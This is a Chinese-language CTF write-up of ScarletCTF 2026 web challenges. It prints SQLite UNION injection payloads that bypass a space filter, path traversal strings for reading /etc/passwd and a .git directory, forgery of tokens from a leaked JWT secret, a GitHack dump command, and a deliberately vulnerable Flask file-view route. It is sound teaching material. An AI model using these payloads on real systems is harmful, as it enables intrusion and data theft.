ScarletCTF 2026 web wp - LightFeather's Blog

Campus One（复现）#

进入网站，大致浏览了一下，没有发现特殊接口或数据，且网站使用 session 进行身份验证，因此，我们的目标是获取 admin 的 session_id
没什么想法了，先尝试获取一下全局对象 window 的值，发现有接口泄露 1768585459220

尝试访问接口，发现拒绝返回 1768585557857

但是这个 v2 很让人在意。我们尝试访问一下 v1 版本 1768585653566

成功获得了 admin 的 session_id。然后以 admin 身份登入，访问 admin 面板（访问 /admin 接口）
来到 System Setting 页面，发现了出题人的提示 1768586120888

翻译一下大概是

1
安全配置存储
2

3
敏感配置密钥已迁移至加密数据库表中，以增强安全性。
4

5
存储位置
6

7
campus.db → secrets 表
8
注意：flag 现已安全存储在数据库中。请使用订单搜索功能查询系统数据。

这个提示应该是想让我们打 SQL 注入。前往 Orders 页面，尝试进行 SQL 注入。简单测试后，发现都不行……
hyw？检查了一下请求头后发现，网站又给我的 session_id 改回了 guest……
再次改为 admin 的 session_id 后，经过简单测试，发现网站过滤了空格，可以使用多行注释符 /**/ 进行绕过，同时网站有回显，因此尝试联合注入
先尝试注入

1
1'UNION/**/SELECT/**/1,2,3,4,5--+

发现有 5 个回显位。再次尝试从 information_schema.columns 表中查询列信息，网站返回表不存在，因此判断不是 MySQL，大胆猜测一下是 SQLite，传入

1
1'/**/UNION/**/SELECT/**/name,sql,1,2,3/**/FROM/**/sqlite_master--+

发现了 secrets 表的列信息

1
{
2
    "order_id": "secrets",
3
    "customer_email": "CREATE TABLE secrets (
4
                       id INTEGER PRIMARY KEY AUTOINCREMENT,
5
                       key TEXT NOT NULL,
6
                       value TEXT NOT NULL
7
                       )",
8
    "item": 1,
9
    "status": 2,
10
    "amount": 3
11
}

于是注入

1
1'UNION/**/SELECT/**/id,key,value,4,5/**/FROM/**/secrets--+

成功获得 flag

Commentary（复现）#

很遗憾，这题没有给环境，因此无法复现了

官方 wp 中给出的解法是：比赛平台使用的是反向代理，因此题目说并非仅仅访问 ctf.rusec.club 的含义是用 IP 地址访问网站由此获得 nginx 的页面，在这个页面的注释中可以看到 flag

MissInput（先鸽）#

web + binary 的题，对于现在的我来说有点难了……

MoleInTheWall（复现）#

右上角有一个 Staff Partol，一看就是解题的关键，打开后要求输入一个 Token。没啥想法，抓个包看看 1768720907799

请求头里面有一个提示：

1
legacy config mounted from /debug
2
从 /debug 挂载的旧版配置

行，那尝试一下访问 /debug/config 接口，返回 404。有点问题，再看看有没有其他提示。没找到，看一下 wp……
行，原来是要访问 /debug/config/security.json 文件，这个真猜不到……

1
{
2
  "audience": null,
3
  "issuer": null,
4
  "jwt": {
5
    "algorithm": "HS256",
6
    "required_claims": {
7
      "department": "security",
8
      "role": "nightguard",
9
      "shift": "night"
10
    }
11
  },
12
  "notes": "JWT secret was scooped at runtime - Mike Schmidt"
13
}

又有提示，翻译一下是 JWT 密钥在运行时被泄露了 —— Mike Schmidt，可能提示我们和 .env 有关，那就访问一下试试。访问 /debug/config/.env 文件，返回

1
{
2
    "JWT_SECRET": "g0ld3n_fr3ddy_w1ll_a1ways_b3_w@tch1ng_y0u"
3
}

拿到了密钥，现在就去生成一下 token 1768721933707

在网站中传入 token，下载得到了一个 myscripts.zip 文件，解压后得到了几个文件，其中比较重要的有

1
"Display.InputDialog
2
        Title: $'''Afton Robotics - Maintenance Mode'''
3
        Message: $'''Enter Technician Clearance Code:'''
4
        InputType: Display.InputType.Password
5
        DefaultValue: $''''
6
        IsTopMost: True
7
        UserInput=> AuthCode
8

9
        Display.ShowMessage
10
        Message: $'''Initializing animatronic subsystem...
11
        Firmware check in progress.'''
12
        Icon: Display.Icon.Information
13
        Buttons: Display.Buttons.OK
14
        IsTopMost: True
15

16
        System.RunDosCommand
17
        Command: $'''start https://youtu.be/Blv9qVYlioY?si=wvpDtlWkkbvdjbBm'''
18

19
        File.ReadTextFromFile
20
        File: $'''%CD%\\logs\\session.log'''
21
        Encoding: File.Encoding.UTF8
22
        Contents=> EncryptedText
23

24
        SET FinalVar TO ''
25

26
        FOR Index FROM 0 TO Length(EncryptedText) - 1 STEP 1
27

28
            Text: EncryptedText
29
            StartIndex: Index
30
            Length: 1
31
            Subtext=> Char
32

33
            ConvertTextToNumber
34
            Text: Char
35
            Number=> Ascii
36

37
            SET DecodedAscii TO Ascii - 1
38

39
            GetCharacterFromAsciiCode
40
            AsciiCode: DecodedAscii
41
            Character=> DecodedChar
42

43
            SET FinalVar TO FinalVar + DecodedChar
44
        END
45

46
        IF AuthCode = FinalVar THEN
47
            XML.ReadFromFile
48
            File: $'''%CD%\\config\\settings.xml'''
49
            XmlDocument=> XmlConfig
50

51
            XML.GetElementValue
52
            XmlDocument: XmlConfig
53
            XPath: $'''//root/network/path'''
54
            Value=> ApiPath
55

56
            SET Body TO $'''{ \"input\": \"%FinalVar%\" }'''
57

58
            Web.InvokeWebServicePost
59
            Url: $'''http://girlypies.rusec.ctf%ApiPath%'''
60
            RequestBody: Body
61
        ELSE
62
            Display.ShowMessage
63
            Message: $'''CRITICAL ERROR: Springlocks Engaged.'''
64
            Icon: Display.Icon.Error
65
            Buttons: Display.Buttons.OK
66
        END
67

68
        System.RunDosCommand
69
        Command: $'''start sounds\\startup_jingle.wav'''
70

71
        Display.ShowMessage
72
        Message: $'''Animatronic ANIM-04 is online.
73
        Stage-ready and awaiting guests.'''
74
        Icon: Display.Icon.Warning
75
        Buttons: Display.Buttons.OK
76
        IsTopMost: True"

这里面有一段伪代码逻辑，向 config/settings.xml 文件中 Xpath 对应的内容的接口传入一段内容，内容由 logs/session.log 中的内容依次左移一个 ASCII 码得到，并且要以 json 格式传入 {"input": "得到的内容"}
先写一个 python 脚本得到内容

1
s = "u$bu_qvsqm4_hvz"
2

3
result = ""
4
for i in s:
5
    result += chr(ord(i)-1)
6

7
print(result)

向 /api/run-flow 接口传入内容 1768725525389

hyw？又去看了 wp，发现下划线不执行左移一位的操作……无语了，完全看不出来要这样操作。算了，再改一下 python 脚本

1
s = "u$bu_qvsqm4_hvz"
2

3
result = ""
4
for i in s:
5
   if i == '_':
6
       result += i
7
       continue
8
    result += chr(ord(i)-1)
9

10
print(result)

再次向 /api/run-flow 传入 {"input":"t#at_purpl3_guy"}，成功获得 flag

SweIntern（复现）#

一个简单的 JWT 的生成器，先看看 API Docs 1768726646369

发现了文件读取，那就尝试一下有没有任意文件读取。传入 ../../../../etc/passwd，成功获取了一个文件。再传入 /etc/passwd，也能成功获得文件，说明存在任意文件读取，而且目录的拼接也有漏洞，可以从根目录直接读
先大胆尝试读 /flag，回显

1
File not found or access denied.

emmm……再去找找有没有其他线索。发现 System Information 接口，里面有很多信息，其中比较重要的是

1
Deployment: Automated via Git-Hooks
2

3
# System Build Manifest
4
BUILD_ID: R1KUVKH3
5
LAST_STABLE_COMMIT: u3c83hcm... (Added operational status!)
6
ENVIRONMENT: Production

那就有可能存在 git 泄露，尝试用刚刚任意读文件的接口读取一下 .git 库。传入 ../.git/HEAD，没读到……又随便读了一点文件，读到了 app.py

1
from flask import Flask, request, render_template, send_file
2
import jwt
3
import datetime
4
import os
5
# commment for testing
6
app = Flask(__name__)
7
app.config['SECRET_KEY'] = 'f0und_my_k3y_1_gu3$$'
8

9
@app.route('/')
10
def index():
11
    return render_template('index.html')
12

13
@app.route('/generate', methods=['POST'])
14
def generate():
15
    username = request.form.get('username', 'guest')
16
    payload = {
17
        'user': username,
18
        'iat': datetime.datetime.utcnow(),
19
        'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30),
20
        'role': 'standard_user'
21
    }
22
    token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm="HS256")
23
    return render_template('index.html', token=token)
24

25
@app.route('/view')
26
def view():
27

28
    page = request.args.get('page')
29
    if not page:
30
        return "Missing 'page' parameter", 400
31
    base_dir = os.path.dirname(os.path.abspath(__file__))
32
    target_path = os.path.abspath(os.path.join(base_dir, 'static', page))
33

34
    try:
35
        file_path = os.path.join('static', page)
36
        return send_file(file_path)
37
    except Exception:
38
        return "File not found or access denied.", 404
39

40
if __name__ == '__main__':
41
    app.run(host='0.0.0.0', port=5000)

和我们想象中的也差不多……没线索了，看 wp。wp 里面说读 ../.git/config 可以读到，但是我读不到，hyw？进 Docker 里面看了看环境，有问题，它把 .git 变成了 dot_git……
重新命名一下，再去读一下 ../.git/config，成功获得一个文件
接下来就用 GitHack 把整个库拉下来

1
python2 GitHack.py http://127.0.0.1:4567/view?page=../.git/

然后 git log 1768730564963

发现 flag，直接 git show 1768731465857

成功获得 flag

后续去问了当时做了这一题的学长，学长说这一题远程和 Docker 的环境很不一样，远程的 .git 中有悬空对象，只使用 GitHack 是没办法下完整的；而如果只使用 GitDumper，也下载不到完整的 git 结构，因此用不了 git 命令。最简单的解决方法是结合一下这两个工具，下载到完整的 .git 库，从而获得 flag